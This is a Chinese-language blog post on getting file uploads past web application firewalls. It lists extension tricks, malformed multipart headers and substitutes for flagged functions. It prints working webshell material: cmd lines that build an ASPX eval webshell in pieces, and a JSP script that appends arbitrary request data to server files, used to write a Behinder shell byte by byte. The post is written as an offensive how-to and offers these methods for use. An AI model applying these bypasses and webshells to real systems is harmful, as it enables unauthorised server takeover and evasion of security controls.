文件上传突破waf总结

2020年4月16日20:37:52 发表评论

前言

在这个waf横行的年代,绕waf花的时间比找漏洞还多,有时候好不容易找到个突破口,可惜被waf拦得死死的。。。
这里总结下我个人常用的文件上传绕过waf的方法,希望能起到抛砖引玉的效果,得到大佬们指点下。

常见情况

下面总结下我经常遇到的情况:

一. 检测文件扩展名

很多waf在上传文件的时候会检测文件扩展名,这个时候又能细分几种情况来绕过。

1. 寻找黑名单之外的扩展名

比如aspx被拦截,来个ashx就行了;jsp被拦截可以试试jspx、JSp等等。这个简单,无需赘述。

2. 构造畸形的数据包,“打乱”waf的检测

这个方法,又能细分出很多来,而且屡试不爽,这里总结下我个人常用的

(1) 删掉content-type

(2) 构造多个filename

比如这样:
文件上传突破waf总结

又或者这样:
文件上传突破waf总结

(3) 把filename参数变畸形

正常的数据包,是这样:

Content-Disposition: form-data; name="file"; filename="100x100.jsp"

waf拦截了:
文件上传突破waf总结

把filename变成这样(后面多了个双引号):

Content-Disposition: form-data; name="file"; filename="100x100.jsp""

可以看到waf直接拉胯了:
文件上传突破waf总结

二. 检测文件内容

一般来说,waf也会检测文件内容。这个时候被检测往往是一些敏感的“关键词”,比如exec()、eval()这些函数。这个时候怎么办呢?

1. 图片马

“上古时期”经常用这个绕waf什么的,现在估计不太行了。

2. 文件包含

利用php远程文件包含或者java反射调用外部jar等等操作。可是有时候连带有文件包含功能的函数也会被检测。。。

3. 替换被检测的内容

这个是我用得比较多的方法。

比如java中Runtime.getRuntime().exec()经常被杀或者被拦截,这里可以通过调用ProcessBuilder类实现相同的功能。

参考:

https://www.cnblogs.com/sevck/p/7069251.html

https://github.com/huyuanzhi2/fuck_waf_jspx

亲测可以绕过YxlinkWAF

又比如,fileOutputStream被拦截时:
文件上传突破waf总结

我可以用RandomAccessFile来替代:
文件上传突破waf总结

这个方法往往需要花很长时间,通过不断的删改来定位被检测的内容,去查阅资料文档来找可以替代的函数或者类。

4. “曲线救国”

当我们没办法直接上传shell的时候,可以先上传一些小功能的脚本,比如写文件,cmdshell等等:
然后利用写文件或者cmdshell来写入shell,来达到我们的目的。
比如windows cmd下不换行输入来拆分eval:

>>d:\xxx\dao.aspx set/p=^<%@ Page Language="Jscript"%^>
>>d:\xxx\dao.aspx set/p=^<%ev
>>d:\xxx\dao.aspx set/p=al(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["zz"])))),"unsafe");%^>

又比如利用之前我们上传的写文件函数,一个字节一个字节的将shell写进去。
先将我们的冰歇shell.jsp拆开:
文件上传突破waf总结

然后利用之前绕过waf上传的写文件脚本:

<%@ page import="java.io.*" %>
<%
RandomAccessFile randomFile = new RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw");
long fileLength = randomFile.length();
randomFile.seek(fileLength);
randomFile.write(request.getParameter("c").getBytes()); 
%>

参数 f=/shell.jsp&c=

结合burp的intruder把冰歇马给写进去:
文件上传突破waf总结

结语

waf,真是个让人头疼的东西。

flyingsheep

发表评论